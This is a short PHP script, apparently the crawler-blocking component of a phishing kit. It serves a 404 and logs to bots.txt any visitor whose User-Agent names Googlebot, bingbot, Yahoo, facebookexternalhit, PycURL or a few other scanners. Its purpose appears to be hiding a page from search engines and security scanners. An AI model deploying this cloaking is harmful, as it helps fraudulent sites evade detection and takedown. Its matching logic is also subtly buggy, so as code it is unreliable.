<?php

	if(strpos($_SERVER['HTTP_USER_AGENT'], 'google') 
		or strpos($_SERVER['HTTP_USER_AGENT'], 'Java') 
		or strpos($_SERVER['HTTP_USER_AGENT'], 'FreeBSD') 
		or strpos($_SERVER['HTTP_USER_AGENT'], 'msnbot') 
		or strpos($_SERVER['HTTP_USER_AGENT'], 'Yahoo! Slurp') 
		or strpos($_SERVER['HTTP_USER_AGENT'], 'YahooSeeker') 
		or strpos($_SERVER['HTTP_USER_AGENT'], 'Googlebot') 
		or strpos($_SERVER['HTTP_USER_AGENT'], 'bingbot') 
		or strpos($_SERVER['HTTP_USER_AGENT'], 'crawler')  
		or strpos($_SERVER['HTTP_USER_AGENT'], 'PycURL') 
		or strpos($_SERVER['HTTP_USER_AGENT'], 'facebookexternalhit') !== false) {
                  
            $content = "#> ".$_SERVER['HTTP_USER_AGENT']." [ Bot ] \r\n";
		    $save=fopen("./bots.txt","a+");
		    fwrite($save,$content);
		    fclose($save);
			header("HTTP/1.0 404 Not Found");exit();

	}

	if ($_SERVER['HTTP_USER_AGENT'] == "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)") {

			  $content = "#> ".$_SERVER['HTTP_USER_AGENT']." [ Bot ] \r\n";
		    $save=fopen("./bots.txt","a+");
		    fwrite($save,$content);
		    fclose($save);
			header("HTTP/1.0 404 Not Found");exit();

    }

?>